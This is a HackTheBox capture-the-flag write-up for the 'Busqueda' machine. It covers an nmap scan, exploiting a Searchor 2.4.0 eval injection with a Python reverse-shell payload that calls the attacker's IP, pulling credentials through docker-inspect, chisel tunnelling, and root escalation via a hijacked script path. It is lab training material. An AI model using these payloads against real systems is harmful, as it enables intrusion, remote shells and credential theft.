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HackTheBox/Busqueda.md
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# HackTheBox - Busqueda
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## NMAP
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```bash
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Nmap scan report for 10.10.11.208
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Host is up (0.14s latency).
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Not shown: 65533 closed tcp ports (reset)
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
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|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
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80/tcp open http Apache httpd 2.4.52
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|_http-title: Did not follow redirect to http://searcher.htb/
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| http-methods:
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|_ Supported Methods: GET HEAD POST OPTIONS
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|_http-server-header: Apache/2.4.52 (Ubuntu)
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Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT 80 (HTTP)
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Visting the webserver, it redirects to `searcher.htb` , so let's add this domain in `/etc/hosts` file
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<img src="https://i.imgur.com/WFGCQXp.png"/>
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<img src="https://i.imgur.com/UG4CMb5.png"/>
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<img src="https://i.imgur.com/Yp4cap6.png"/>
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At bottom, we can see the version, `Searchor 2.4.0`
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<img src="https://i.imgur.com/wI9waXO.png"/>
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Searching for exploits realted to Searchror, there's remote code execution (RCE)
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<img src="https://i.imgur.com/7g3ku0Y.png"/>
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<img src="https://i.imgur.com/NburH7P.png"/>
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## Foothold
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From the commit in the github repository, we can see `eval` is being used which will evaluate anything as a valid code or will execute it
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```python
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', exec("import os;os.system('id')"))#
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```
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<img src="https://i.imgur.com/UMQYrDT.png"/>
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From here on we can get a shell
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```python
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', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.92',2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"))#
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```
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<img src="https://i.imgur.com/yc9yBZp.png"/>
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<img src="https://i.imgur.com/MrLpqRi.png"/>
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After having a shell, stabilizing it to get a full tty with python3
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<img src="https://i.imgur.com/10k9KNm.png"/>
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Checking if we have ability to execute anything as a root or any other user with `sudo -l`
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<img src="https://i.imgur.com/Tm7Bojt.png"/>
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Looking at local running services, there's port 3000 open which is running an instance of `gitea`
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<img src="https://i.imgur.com/ErEtlyZ.png"/>
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<img src="https://i.imgur.com/TT3IbfV.png"/>
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But it requires credentials so there's no use of moving there unless we have found credentials
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## Privilege Escalation (root)
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From config file from `/var/www/app/.git` we can find the password for user cody on gitea which works for svc
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<img src="https://i.imgur.com/zm6OpwH.png"/>
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With `sudo -l` we can check what we can run
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<img src="https://i.imgur.com/0p46QIl.png"/>
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Running `system-checkup.py` as a root user, through this script we can run commands like `docker-ps`, `docker-inspect` and `full-checkup`
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<img src="https://i.imgur.com/Cd810Sv.png"/>
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<img src="https://i.imgur.com/WpFUyfu.png"/>
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We can inspect the config file of mysql_db container
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```bash
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sudo -u 'root' /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' mysql_db
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```
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On Inpsecting the config file, we'll get both gitea and root mysql user's password
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<img src="https://i.imgur.com/7hc9Ieq.png"/>
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With gitea mysql user we can login to gitea database
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<img src="https://i.imgur.com/ZkCrdjR.png"/>
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Now that we have credentials, we can try logging on gitea by port forwarding port 3000
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```bash
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chisel client 10.10.14.92:3333 R:localhost:3000
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chisel server -p 3333 --reverse
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```
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<img src="https://i.imgur.com/LAYhvqd.png"/>
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Logging in with cody's account, there's nothing there except for the Seracher_site repo which is just the site that we saw at the beginning
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<img src="https://i.imgur.com/csnLUWe.png"/>
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Using gitea database password, we can login as the administrator
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<img src="https://i.imgur.com/vJCrzhX.png"/>
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We have access to the scripts folder having those python scripts, so we can read what `system-checkup.py` script actually is doing
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<img src="https://i.imgur.com/7K8abWN.png"/>
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<img src="https://i.imgur.com/Q8YBuHJ.png"/>
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<img src="https://i.imgur.com/jzHttNW.png"/>
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From the `system-checkup.py` we can see that it's using subprocess to execute commands which is safe to use for executing system comamnds but if see the `full-checkup` command, it's using a script named `full-checkup.sh` and executing it, so we need to create a script named full-checkup.sh and put our reverse shell to get it executed
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<img src="https://i.imgur.com/Mht5rjR.png"/>
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<img src="https://i.imgur.com/WznkQXN.png"/>
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## References
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- https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303
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- https://github.com/nexis-nexis/Searchor-2.4.0-POC-Exploit-
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- https://buildvirtual.net/how-to-use-docker-inspect/
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